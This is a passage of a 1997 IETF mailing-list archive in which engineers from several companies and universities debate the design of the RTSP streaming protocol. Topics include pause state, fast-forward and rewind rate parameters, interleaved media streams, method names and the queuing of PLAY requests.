[explanation of "rate" as a parameter for the PLAY method]

I agree that we need these.  However, in early discussion we compromised
with the notion these are media-specific methods, since they don't
necessarily apply to all streams, as noted.  I think we can come up with a
core RTSP document without this method.  At that point, it would be simple
enough to standardize these as parameters in SET_PARAM and GET_PARAM, or 
as
an extension field to PLAY, as you described.

As long as we can stipulate that these belong as optional extensions 
rather
than core requirements, I'm sure there will be no problem placing these in
an appropriate document (which is probably the core document, though I'd
want to make sure we don't lose focus on the core framework before adding
this extra feature).

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Sat Mar  8 00:33:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27003>; Fri, 7 Mar 1997 12:28:40 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26997>; Fri, 7 Mar 1997 12:28:38 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA08589>; Fri, 7 Mar 1997 12:28:36 -0800
Received: (qmail 30927 invoked by uid 1067); 7 Mar 1997 20:33:27 -0000
Date: Fri, 7 Mar 1997 22:33:27 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: 'Jeff Smith' <sumisu@nttlabs.com>,
        'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
In-Reply-To: <c=US%a=_%p=msft%l=RED-68-MSG-970306015142Z-31222@INET-04-IMC.microsoft.com>
Message-Id: <Pine.LNX.3.95.970307221814.30188B-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 5 Mar 1997, Eric Fleischman wrote:

> Firstly, maintaining "Pause state" in the server is not a scalable 
> solution.

How's that? The server has some state already as it's delivering the
stream at some specific point. The same state can be used for a simple
pause. And how many streams do you assume a single server to be able to
support anyway? Do such minute memory savings have any impact on such a
server?

> What we rather have done in our streaming media products is to 
> treat "pause" as follows: 
>	-The user thinks (s)he is pausing, but what (s)he really is doing
>	 is a "stop".
>	-The client remembers the point at which the "stop" took place --
>	 this state is solely kept in the client.
>	-When the user hits play (start), the user thinks that (s)he is
>	 resuming, but what (s)he is really doing is starting with an offset set to where the 
> 	 client had previously stopped. Therefore, the server starts
>	 playing from that offset.
> 
> This is all very clean and has permitted our streaming servers to scale to 
> a thousand (or more) simultaneous sessions. This would not have been 
> possible had we been using the algorithm this discussion seems to be 
> assuming.

Hmm. I'll have to admit that cue-lists do not scale very well. But a
single pause state doesn't harm the server performance appreciably. Also,
what is the scope of your servers? Are they're a LAN based technology. In
that case the arguments about network latencies do not apply. But in a WAN
they do deserve attention.

Furthermore, restarting a fully stopped stream always requires some setup
and that adds to the latency. With explicit pause state that time is
saved. And as said, the server already has state. The protocol IS session
based.

> Related user controls which seems to have been overlooked by the RTSP draft 
> are "fast forward" and "fast rewind". These are very important controls 
> which are quite popular with users.

How do you implement such functions neatly when the RTSP is carried over a
best-effort service accross such appreciable distances that the net
allows? In this case some very serious synchronization issues arise.

> The "play" (or start) command actually has two parameters. It has the 
> offset previously mentioned in regards to "pause" above and it also 
> contains a "rate" parameter. This rate parameter does *not* refer to the 
> data rate - the data rate is fixed for that session. Rather, "rate" refers 
> to the timeline upon which the streaming "media experience" is built. The 
> timeline rate may be arbitrarily sped up

But this requires some implicit support for some kind of resampling of the
stream. Either just skipping frames true antialiased resampling. Neither
of these is a viable requirement for the minimal server the protocol must
support. And again, synchro? It's much too easy to mess with the sped up
data stream and frustrate the user.

> For fast-forward and 
> fast-rewind, the server therefore has to compute at what offset to "skip 
> to" to match that accelerated timeline. It is aided in this task by the 
> indexing present in certain media types - no indexing, then no fast-forward 
> or fast-rewind capability.

I don't think this is in the same conservative line of thought that
your earlier comments about the explicit pause state are. This is a
heavy-weight, specialized solution designed only to aid in implementing a
certain familiar user interface paradigm. I do not think this is something
to be expected of a generic protocol such as RTSP.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Sat Mar  8 00:47:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28206>; Fri, 7 Mar 1997 12:43:02 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28185>; Fri, 7 Mar 1997 12:42:58 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA09562>; Fri, 7 Mar 1997 12:42:57 -0800
Received: (qmail 31035 invoked by uid 1067); 7 Mar 1997 20:47:52 -0000
Date: Fri, 7 Mar 1997 22:47:52 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Mark Handley <mjh@isi.edu>
Cc: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: Re: In Defense of Interleaved Data Formats 
In-Reply-To: <8946.857608578@buttle.lcs.mit.edu>
Message-Id: <Pine.LNX.3.95.970307223552.30188C-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 5 Mar 1997, Mark Handley wrote:

> >However, there are many occasions when
> >"On-Demand Streaming" requires the use of interleaved data formats.
> >Here's a few:
> 
> >1.	You can save substantial amount of overhead for sessions
> >accessed by low speed modems.
> ...
> >(i.e., on-the-fly compression) to process your "on demand" application
> >then the number of sessions you can simultaneously support on that
> >server is detrimentally impacted.
> 
> Note that header compression is not end-to-end, but only between your
> end-system and its local terminal server.  It doesn't impact 
> multimedia data servers at all.

But I assume some form can be implemented here too, if found advantageous?

> >2.  ... Interleaving encourages tight synchronization and offers a
> >higher degree of probability for preserving the designed experience in
> >the presence of data loss, network variability, and sunspots.
> 
> Actually this isn't true.  Interleaving gives the network less
> oportunity to preserve your audio preferentially from your video if
> the network gets loaded (which is usually the right thing to do).

But gives a tighter synch with less buffering. And eases up the
requirements for throttle-back in RTP. It also gives the server a more
predictable data stream to work on.

> In addition, synchronisation is no easier.  You have all the same
> information in separate RTP streams that you have in interleaved
> streams.  In either case you need to cope with mismatches in clock
> rate between the video stream and a receiving audio device that which
> is not clocked at exactly the frequency the manufacturer claims.  Once
> you're re-tuning the audio buffering periodically, it makes no
> difference whether the streams were transported together or
> separately.

How about the case when audio arrives slower than the corresponding 
video? In this case either sizable buffers, fast throttle-back or
frame-discarding abilities are required.

> >3.	On-demand media may be composed of many media types. Some of
> >these are "streaming" media types (e.g., voice, video, and MIDI) while
> >others are not (e.g., still images, URL flippings, script commands and
> >executables). "On demand uses" also encourage the innovative invention
> >of rare media types. Regardless, the net effect is that there will be N
> >media streams for on-demand usages where N may be quite a handful.
> 
> This seems to be an argument *against* interleaving to me...

Hmm. Keep a separate state for each of the streams/connections and you
have quite a bit of data. So interleaving might ease up the requirements
imposed upon lower protocol layers. How about routing considerations, for 
example?

> >4.	Disk-head movement efficiency on the server. The argument here
> >is that interleaving encourages more efficient disk storage approaches
> >with superior I/O processing capabilities. This directly effects the
> >construction of more efficient network streaming approaches.
> 
> Separate streams lets you store your audio and video on different
> discs, and hence *improves* performance in some cases :-)

But how about the basic case where you do  have both the streams
originating from the same server?

> Besides, if your server isn't doing some form of tuning to available
> bandwidth, it's going to be a dinosaur in the long run.

Very true. That is a good argument against interleaving. But I'd say at
the present BW adaptation isn't the norm. What we need now is efficiency
from simple servers. But in the future multiple independent data streams
will probably be the norm. At least if stream aggregation doesn't take
place in the lower levels...

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Fri Mar  7 04:47:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28439>; Fri, 7 Mar 1997 12:46:41 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28433>; Fri, 7 Mar 1997 12:46:40 -0800
Received: from r2d2.mcom.com (h-205-217-237-47.netscape.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA09732>; Fri, 7 Mar 1997 12:46:39 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by r2d2.mcom.com (8.7.5/8.7.3) with ESMTP id MAA09240 for <confctrl@ISI.EDU>; Fri, 7 Mar 1997 12:46:39 -0800 (PST)
Received: from stargazer ([207.1.142.55]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA23486;
          Fri, 7 Mar 1997 12:46:36 -0800
Message-Id: <33207EDC.197A@netscape.com>
Date: Fri, 07 Mar 1997 12:47:24 -0800
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'Rob Lanphier'" <robla@prognet.com>, "'Jeff Smith'" <sumisu@nttlabs.com>,
        "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
References: <c=US%a=_%p=msft%l=RED-68-MSG-970307173843Z-841@INET-02-IMC.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric Fleischman wrote:
> 
> There seems to have been some confusion over my inadvertent use of the term
> "STOP". Our stop is your "pause" in that its total effect is to stop the
> data stream. It does not tear down the data stream session. It does not
> need "timers" since the events are user-controlled and no resources are
> consumed via our version of pause.

> I am afraid that this type of misunderstanding is due to us not working
> from the same model with a consistent state machine. I can not imagine a
> simpler state machine than that which drives our implementation.

Looking closely, your simple state machine is really the same as the one
currently in the draft. The only difference is that the RTSP one
considers that you might have allocated (possibly transport) resources
*before* the state "not sending" or the actual PLAY. This accounts for
"INIT".  Basically you get into the state "not sending" only *after*:-
a) server knows that it can associate transport resources for the
client.
b) anything else it might need to allocate based on information in
SETUP.

Clearly, an implementation might just want to do all the
allocation(transport, timers etc.) on receipt of the PLAY - that is
fine, the INIT state is null in this case. On the other hand, one may
want to differentiate clearly between failure to associate transport
resources and that to associate timing resources(particularly for
requests at n times normal rate etc.)
In the user scenario, it may be desirable to connect to the server, know
that the server will serve you(atleast normal rate) and activate the
play button, rather than having the user press the play button only to
be refused, or having to necessarily send a PLAY on connection just to
see if you will be served.

The rationale *for and against* having transport headers in SETUP *only*
is explained in the draft - let us try and answer this, I believe the
issue of 2 versus 3 or more  states should follow. I completely agree
that we should strive for simplicity.

Regards,
-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Sat Mar  8 00:52:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28517>; Fri, 7 Mar 1997 12:47:49 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28511>; Fri, 7 Mar 1997 12:47:48 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA09786>; Fri, 7 Mar 1997 12:47:47 -0800
Received: (qmail 31089 invoked by uid 1067); 7 Mar 1997 20:52:42 -0000
Date: Fri, 7 Mar 1997 22:52:42 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: RTSP: resolution of some open issues
In-Reply-To: <331E2F8F.11E5@cs.columbia.edu>
Message-Id: <Pine.LNX.3.95.970307224858.30188D-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 5 Mar 1997, Henning Schulzrinne wrote:

> (1) Agreement to provide options negotiation at any point, but change
> name from HELLO to OPTIONS, just as in HTTP. Seems more descriptive.

Very.

> Authentication is up to the server. A paranoid server can request re-authentication
> for each new TCP connection, a slightly less so would not and use the session ID. 

Very reasonable as the server already knows who to send. But of course
there are always denial of service attacks...

> (3) GET should be usable at any point, but not cause state transitions.
> (I'd remove GET from the state diagrams for that reason). Name is open,
> but should be more descriptive, such as HEADER or META or ...

Indeed. Compared to its HTTP counterpart, GET is too close in name and too
far in function.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Fri Mar  7 10:44:23 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28554>; Fri, 7 Mar 1997 12:48:13 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28548>; Fri, 7 Mar 1997 12:48:12 -0800
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA09808>; Fri, 7 Mar 1997 12:48:08 -0800
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Mar  7 15:47:13 EST 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Fri Mar  7 15:46:43 EST 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id PAA21555; Fri, 7 Mar 1997 15:44:24 -0500 (EST)
Message-Id: <33207E27.3BEE@cs.columbia.edu>
Date: Fri, 07 Mar 1997 15:44:23 -0500
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
References: <3.0.32.19970307083629.00ab58ac@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I would still suggest a dual rate specification, data and NPT-rate. Both
can be defined in a media-independent way. In most cases, the client
doesn't care how it is done. In some cases, it won't be able to this at
all, but this is always a problem, as requesting a data or NPT-rate of
1000 is not likely to be successful, as would be speeding up a live
session. Thus:

Scale: 10/1 -> send data with ten times the NPT-rate, but the same
original data rate (how to do this is up to the server)

Scale: 10/10 -> send at ten times the normal data rate and NPT-rate

Scale: 1/10 -> doesn't make sense


Henning

From majordom@ISI.EDU  Fri Mar  7 10:51:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29222>; Fri, 7 Mar 1997 12:57:21 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29212>; Fri, 7 Mar 1997 12:57:17 -0800
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10450>; Fri, 7 Mar 1997 12:57:13 -0800
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Mar  7 15:56:06 EST 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Fri Mar  7 15:54:18 EST 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id PAA21626; Fri, 7 Mar 1997 15:51:59 -0500 (EST)
Message-Id: <33207FEF.213A@cs.columbia.edu>
Date: Fri, 07 Mar 1997 15:51:59 -0500
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Sampo Syreeni <decoy@edu.lahti.fi>
Cc: confctrl@isi.edu
Subject: Re: RTSP: resolution of some open issues
References: <Pine.LNX.3.95.970307224858.30188D-100000@nexus.edu.lahti.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> > (3) GET should be usable at any point, but not cause state transitions.
> > (I'd remove GET from the state diagrams for that reason). Name is open,
> > but should be more descriptive, such as HEADER or META or ...
> 
> Indeed. Compared to its HTTP counterpart, GET is too close in name and too
> far in function.

We already have a 'push session description' (SESSION); maybe something
like
GET_SESSION and PUT_SESSION would do (assuming there's rough consensus
around session as a term).

> 
> Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>

From majordom@ISI.EDU  Sat Mar  8 01:04:23 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29373>; Fri, 7 Mar 1997 12:59:30 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29367>; Fri, 7 Mar 1997 12:59:29 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10619>; Fri, 7 Mar 1997 12:59:27 -0800
Received: (qmail 31224 invoked by uid 1067); 7 Mar 1997 21:04:23 -0000
Date: Fri, 7 Mar 1997 23:04:23 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: 'Mark Handley' <mjh@isi.edu>, "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: RE: In Defense of Interleaved Data Formats 
In-Reply-To: <503A2A3C2932CF118D8800805FD44E1802BBD79F@RED-68-MSG>
Message-Id: <Pine.LNX.3.95.970307225504.30188E-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 5 Mar 1997, Eric Fleischman wrote:

> usage. This requirement is that the "multimedia experience" is preserved
> independently of what is happening on the network. Thus, if the network
> becomes saturated, the worst thing to do would be to drop a given media
> stream in order to preserve another stream based on network assumptions
> as to which stream may be "more important" (i.e., your suggestion to
> drop video but to preserve audio in a congested situation).

Indeed. This brings out the most basic difference between hand-crafted
multimedia 'experiences' and the needs of real-time conferencing. The
first carries artistic value as a whole, the second is primarily a means
of communication. As such, in the first case one needs to preserve the
overall experience whereas in the second case getting the message
delivered is of prime importance.

> "multimedia".  While interesting experiences are indeed created using
> only those two media types, I would prefer you to think of audio + video
> + MIDI + URL flipping + streaming text + active background applications
> like stock tickers + still images + ....   Why limit ourselves to only
> two media types? Certainly the people making streaming "on-demand"
> content don't.

Because they're the hardest to handle due to their high resource
requirements and the relatively high priority they have among our
perceptual channels, probably. When you can do both audio and video, you
can certainly do the other things you refer to.

> sentence. Experience has demonstrated that this observation may very
> well be true for segregated media streams, however, it is emphatically
> *not* true for interleaved media streams (given a certain preroll
> value). 

But it is true that as long as you have some minimum guarantee of
maximum latency between the different data streams, you can buffer
multiple streams as well as you can interleaved ones.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Sat Mar  8 01:16:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00283>; Fri, 7 Mar 1997 13:11:16 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00272>; Fri, 7 Mar 1997 13:11:15 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA11582>; Fri, 7 Mar 1997 13:11:13 -0800
Received: (qmail 31393 invoked by uid 1067); 7 Mar 1997 21:16:09 -0000
Date: Fri, 7 Mar 1997 23:16:09 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Ross Finlayson <finlayson@lvn.com>
Cc: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: Re: In Defense of Interleaved Data Formats
In-Reply-To: <1.5.4.16.19970305223954.0a076550@pop.best.com>
Message-Id: <Pine.LNX.3.95.970307230659.30188F-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 5 Mar 1997, Ross Finlayson wrote:

> >4.	Disk-head movement efficiency on the server. The argument here
[snip]
> 
> Incidentally, this confusion - between storage formats and network data
> formats - is one that I've seen recently occur in other IETF working groups,
> e.g., the "calendar scheduling" group.

This is a direct consequence of trying to make things simple: the most
basic server conceivable is the one that just spits out the data it has.
(Say, HTTP...)

> You want it to be possible to implement one of the following end-to-end
> semantics when confronted with network loss or delay:
>         1/ cancel the presentation
>         2/ delay the presentation (as appropriate)

1-2 seem partially equivalent. Just as in the PAUSE issue.

> a) Can the particular choice (between 1, 2 and 3) be adequately conveyed -
> e.g., in a session description - if different media are *not* interleaved
> within network packets.

The easiest way to go would be to add a single word (such as those
'encrypted' and other pseudo terms the current draft uses) to indicate the
type for each track (session?).

> b) Can each of these choices be implemented (efficiently), if different
> media are *not* interleaved within network packets.

When fighting congestion, one shouldn't assume the client can do anything
extra. So it's all about server throttle-back. So these semantics need to
conveyed to the server when initiating a stream. This approach isn't
dependent on whether the data is interleaved or not.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Fri Mar  7 11:06:36 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00331>; Fri, 7 Mar 1997 13:12:10 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00324>; Fri, 7 Mar 1997 13:12:09 -0800
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA11634>; Fri, 7 Mar 1997 13:12:08 -0800
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Mar  7 16:11:06 EST 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Fri Mar  7 16:08:56 EST 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id QAA21867; Fri, 7 Mar 1997 16:06:36 -0500 (EST)
Message-Id: <3320835C.278D@cs.columbia.edu>
Date: Fri, 07 Mar 1997 16:06:36 -0500
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Anup Rao <anup@netscape.com>
Cc: confctrl@isi.edu
Subject: Re: PLAY, PAUSE timing
References: <33202644.DE5@cs.columbia.edu> <33205C6E.37BC@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup Rao wrote:
> 
> Henning Schulzrinne (BL) wrote:
> >
> > All commands are issued in short succession:
> >
> > PLAY 10-15
> > PLAY 17-19
> >

> 
> Some thoughts on the requirements and trade-offs:
> 
> a) Retreival of data on a  specific and accurate scale. This is mostly
> for editing or other high-end stuff. I think this is being dealt with
> well in the current draft with a few additions decided on(such as PAUSE
> at a certain time or offset).
> 
> b) As far as possible, simplicity of implementation of applications that
> do not need a)

A server that anticipates to be a "consumer grade server" (no remote
editing) will always just see PLAY 17-, PAUSE, PLAY 19- rather than
ranges in any event and can be dumbed down accordingly. It may not do
the correct thing when used for editing, but then you don't expect to do
frame-level editing with a $199 VCR, either. But, as pointed out below,
the effort of doing it right is pretty small.

> 
> c) Possible queuing of  PLAY requests at the server. PAUSE requests
> could be applied towards the PLAY in progress.
> 
> It would seem that a very simple state model aids greatly in
> implemenation, particulary over UDP. c) could cause complexity
> particularly in the UDP case since order is not guaranteed. Also, the
> client may not know which PLAY message the PAUSE is being applied to -
> this cannot do any good. Clearly , by not queueing up PLAYs at the
> server, one would occur atleast a RTT delay in starting playing another
> range after the first one has ended. This delay is probably
> inconsequential from a human user perspective, but not if the client
> entity is non-human.

Having implemented a few simulators, queueing requests is pretty simple.
You already need to keep track of how much to play. When you reach that
point, just pick the next PLAY command off the list. PAUSE commands
without time skip the queue, with time it finds the appropriate first
match in the PLAY queue. Shouldn't take more than a few lines of code
(we'll see :-)).

Reordering with UDP is a problem only if commands are issued very close
to each other, although I don't have recent reordering distance
measurements.

> 
> If we absolutely do need this queuing, one option is to associate every
> PLAY with an id in its PLAY_REPLY, and for the PAUSE to explicity
> reference this id. This way, the high-end client knows what it is
> pausing, and state management at the server is somewhat simplified.

This doesn't seem necessary or helpful.

> 
> --
> -----------------------------------------------------------------
>   Anup Rao
>   Netscape Communications Corp.
>   email : anup@netscape.com         Phone : (415) 937 3129
> -----------------------------------------------------------------

From majordom@ISI.EDU  Sat Mar  8 01:35:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA01461>; Fri, 7 Mar 1997 13:30:36 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AB01447>; Fri, 7 Mar 1997 13:30:26 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA12610>; Fri, 7 Mar 1997 13:30:24 -0800
Received: (qmail 31528 invoked by uid 1067); 7 Mar 1997 21:35:20 -0000
Date: Fri, 7 Mar 1997 23:35:20 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: 'Anup Rao' <anup@netscape.com>, 'Jeff Smith' <sumisu@nttlabs.com>,
        'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: Pause, Fast-Forward, Fast-rewind in RTSP
In-Reply-To: <c=US%a=_%p=msft%l=RED-68-MSG-970306185440Z-1448@INET-03-IMC.itg.microsoft.com>
Message-Id: <Pine.LNX.3.95.970307233256.30188I-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Thu, 6 Mar 1997, Eric Fleischman wrote:

> >a) Simply deliver the data as-is, but faster than its natural  rate
> >based on the speed parameter. As Henning mentioned, this is specified.
> >Admittedly, this is useful only if bandwidth permits and should be used
> >with care, but it should not be entirely ruled out.
> 
> I have real problems with this alternative. I believe that streaming data 
> must maintain a constant data rate. That rate must not fluctuate up and 
> down.

I agree. It is very important in the face of multicasting connections
that the data rate is constant. It is hard enough to do QoS and resource
reservation without fluctuating data rates.

> session-specific. A much simpler algorithm is to do as we suggest and to 
> maintain a constant data rate, accelerating only the timeline when "fast" 
> is occurring.

Do you think this fits in with the concept of a 'focussed' server?

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Mon Mar 10 12:07:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02422>; Mon, 10 Mar 1997 02:09:08 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02416>; Mon, 10 Mar 1997 02:09:04 -0800
Received: from postal.cselt.stet.it by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10186>; Mon, 10 Mar 1997 02:09:01 -0800
Received: from anduril.cselt.stet.it by POSTAL.CSELT.STET.IT (PMDF V4.2-15
 #4385) id <01IGC2WMDN1S000Z13@POSTAL.CSELT.STET.IT>; Mon,
 10 Mar 1997 11:07:15 MET
Received: from titano by anduril.cselt.stet.it (SMI-8.6/SMI-SVR4) id LAA04382;
 Mon, 10 Mar 1997 11:10:15 +0100
Date: Mon, 10 Mar 1997 11:07:19 +0100
From: Guido Franceschini <Guido.Franceschini@cselt.stet.it>
Subject: Stream State Machine
To: confctrl@isi.edu
Message-Id: <2.2.32.19970310100719.0037b8a4@anduril.cselt.stet.it>
X-Envelope-To: confctrl@isi.edu
Mime-Version: 1.0
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7BIT
X-Sender: guido@anduril.cselt.stet.it
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

All,

I just realized that last week I erroneously sent an e-mail to Henning only,
instead of the whole list. I therefore re-post it with some additional
reference to recent discussions. It is about the already standardized
solution for a Stream State Machine (from DSMCC).
Note that the DSMCC solution also takes into account issues that have been
neglected so far in RTSP: hw video-pumps (controlled by the State Machine
but asynchrous with respect to the State Machine itself) are not considered
in RTSP, and race conditions not yet addressed.

Guido Franceschini

------

Dear Henning and others,

I have seen in recent e-mail messages on this mailing list a lot of
discussion about the semantic of commands for the stream control in the RTSP
protocol draft. This reminds me the same steps I and others covered 1-2
years ago during the specification of a particular section of the DSMCC-UU
protocol (part 6 of the MPEG2 ISO/IEC standard), that is the section
concerning the Stream Interface and the related Stream State Machine. This
triggers a number of questions:
1) Are you aware of the existence of such DSMCC-UU Stream Interface and its
related Stream State Machine?
2) Are you aware that a considerable number of companies are already
implementing pieces of the DSMCC specifications, including the DSMCC-UU
Stream Interface and its related Stream State Machine? [I would encourage
you to look at
http://drogo.cselt.stet.it/mpeg/faq_dsm-cc.htm#What_companies, and in
general to the entire dsmcc faq at
http://drogo.cselt.stet.it/mpeg/faq_dsm-cc.htm]
NOTE: the FAQ is still being reviewed, particularly on references external
to the DSMCC itself.
3) If you are not aware of that, let me remind you that DAVIC adopts DSMCC,
and that DAVIC is now (at last) getting more and more interested in Internet
integration.

All the above means to me that the definition of two different protocols for
